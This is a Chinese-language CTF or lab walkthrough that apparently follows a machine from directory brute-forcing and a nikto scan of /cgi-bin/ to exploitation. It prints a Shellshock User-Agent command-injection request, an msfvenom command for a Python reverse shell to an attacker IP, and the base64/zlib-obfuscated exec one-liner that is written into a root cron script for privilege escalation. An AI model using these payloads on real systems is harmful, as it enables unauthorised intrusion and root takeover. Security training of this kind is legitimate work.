在之前dirb目录爆破过后出现/cgi-bin/敏感目录,用nikto进行漏洞扫描看看该目录是否有可利用点
/cgi-bin/
目录是一种常见的用于存放CGI(Common Gateway Interface)脚本的目录。CGI是一种用于在Web服务器上执行可执行文件或脚本的标准协议。当Web服务器接收到对CGI脚本的请求时,它会将请求传递给CGI脚本处理,并将脚本的输出返回给客户端。
在渗透测试中,/cgi-bin/
目录通常被视为敏感目录,主要有以下几个原因:
- 执行权限:CGI脚本通常是可执行的,因此如果攻击者可以找到并访问到
/cgi-bin/
目录中的脚本,他们可能能够执行任意的命令或获得系统权限。 - 输入验证:CGI脚本通常接收来自用户的输入,并将其用作命令参数或其他操作。如果脚本没有正确的输入验证和过滤机制,攻击者可能能够通过构造恶意输入来执行命令注入、路径遍历等攻击。
- 脚本漏洞:CGI脚本可能存在各种漏洞,如代码注入、缓冲区溢出等。攻击者可以通过利用这些漏洞来执行恶意代码或控制脚本的行为。
- 敏感信息泄露:在某些情况下,攻击者可能能够通过访问
/cgi-bin/
目录中的脚本获取敏感信息,如配置文件、数据库凭据等。
因此,渗透测试中的安全专家通常会将/cgi-bin/
目录列为潜在的敏感目录,并对其中的脚本进行审计和测试,以发现可能存在的安全漏洞并提供相应的修复建议。
shellshock漏洞利用执行反弹shell
Shellshock是一种存在于Bash(Bourne Again SHell)解释器中的漏洞,该漏洞于2014年9月被公开。Shellshock漏洞的原理是在Bash解释器中存在一个命令注入的漏洞,使得攻击者可以通过恶意构造的环境变量或特定的HTTP请求,执行任意的Shell命令。
Shellshock漏洞的根本原因是Bash解释器在处理环境变量时存在一个缺陷。当Bash解释器在执行命令时,会将环境变量展开并解释其中的特殊字符。然而,在早期的Bash版本中,解释器在处理某些特殊字符时存在漏洞,导致攻击者可以通过恶意构造的环境变量来执行任意的Shell命令。
具体来说,Shellshock漏洞利用了Bash解释器中的一种称为”函数定义环境变量”(Function Definition Environment Variable)的特性。攻击者可以通过在环境变量中定义一个特殊格式的函数,然后在执行命令时,Bash解释器会将该函数作为命令执行。
例如,以下是一个利用Shellshock漏洞的示例:
GET /cgi-bin/vulnerable.cgi HTTP/1.1
Host: target.com
User-Agent: () { :;}; echo Content-Type: text/plain; echo; /bin/ls
在上述示例中,攻击者通过User-Agent头部将恶意的环境变量传递给/cgi-bin/vulnerable.cgi
脚本。恶意的环境变量利用了Shellshock漏洞,并执行了/bin/ls
命令。
Shellshock漏洞的危害非常严重,因为它允许攻击者完全控制受影响系统上的Shell进程,从而执行任意的命令、访问敏感数据、修改系统配置等。由于Bash解释器在许多Linux和Unix系统中被广泛使用,Shellshock漏洞影响了大量的系统和应用程序。
拿到低权限shell后在信息搜集过程中,看到/var/www文件夹下有一个connect.py文件,看到frequently自然想到自动任务crontab,而且具有可写权限
在自动任务中看到每分钟会以root的身份执行connect.py,这样就可以往connect.py中写入反弹shell利用该root自动任务拿到root权限
msfvenom -p cmd/unix/reverse_python LHOST=10.10.10.128 LPORT=443 -f raw
// msf生成python反弹shell
exec(import('zlib').decompress(import('base64').b64decode(import('codecs').getencoder('utf-8')('eNqNkE0LwjAMhv9K6akF6T7cQZAehkwQUcHtPlytbDibsnT/X7cO7HEhEJI8eV9I97EwOIKg3toRsiFL4NjYAZRGDIaAZP8rLaCTNInFkumOzvNJSWbZdm5Qek3hC1u6/FifrkUVOvlFeTuc67K6F/mFewGhwBitHGOTYXAx+XAPAYrnaFOG4tX12gDjARevYJIVTOoZK/9PEerR94xGTWcibCn/Ao+PV2s=')[0])))
写入python反弹shell,一分钟后拿到root反弹shell